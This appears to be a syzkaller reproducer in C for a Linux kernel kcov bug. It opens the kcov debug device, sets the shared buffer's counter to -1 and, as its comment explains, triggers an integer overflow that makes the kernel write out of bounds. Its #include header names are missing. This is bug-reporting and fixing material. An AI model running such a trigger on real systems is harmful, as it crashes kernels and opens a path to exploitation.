// https://syzkaller.appspot.com/bug?id=2508a14374c3ac18a30e1883257466460bed99d2 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #ifndef __NR_rseq #define __NR_rseq 334 #endif #define KCOV_INIT_TRACE _IOR('c', 1, unsigned long) #define KCOV_ENABLE _IO('c', 100) #define KCOV_TRACE_CMP 1 int main(void) { int fd; uint64_t *area; const unsigned long kcov_entries = 1024; fd = open("/sys/kernel/debug/kcov", O_RDWR); if (fd < 0) { printf("[-] Failed to open /sys/kernel/debug/kcov: %s\n", strerror(errno)); exit(1); } printf("[+] open kcov successful.\n"); if (ioctl(fd, KCOV_INIT_TRACE, kcov_entries) < 0) { printf("[-] Failed to ioctl KCOV_INIT_TRACE: %s\n", strerror(errno)); exit(1); } printf("[+] ioctl KCOV_INIT_TRACE successful.\n"); area = mmap(NULL, kcov_entries * sizeof(uint64_t), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (area == MAP_FAILED) { printf("[-] Failed to mmap: %s\n", strerror(errno)); exit(1); } printf("[+] mmap successful.\n"); if (ioctl(fd, KCOV_ENABLE, KCOV_TRACE_CMP) < 0) { printf("[-] Failed to ioctl KCOV_ENABLE: %s\n", strerror(errno)); exit(1); } printf("[+] ioctl KCOV_ENABLE successful.\n"); /* * Trigger the integer overflow in write_comp_data: * count = -1ULL * start_index = 1 + count * 4 = -3 * end_pos = (start_index + 4) * 8 = 8 * end_pos <= max_pos (8 <= 8192) passes. * Kernel writes to area[-3], hitting the vmalloc guard page. */ area[0] = 0xffffffffffffffffULL; printf("[+] area[0] set to -1ULL.\n"); /* Trigger a comparison in the kernel */ int res = syscall(__NR_rseq, NULL, 0, 0, 0); if (res < 0) { printf("[-] rseq syscall returned: %s\n", strerror(errno)); } else { printf("[+] rseq syscall successful.\n"); } return 0; }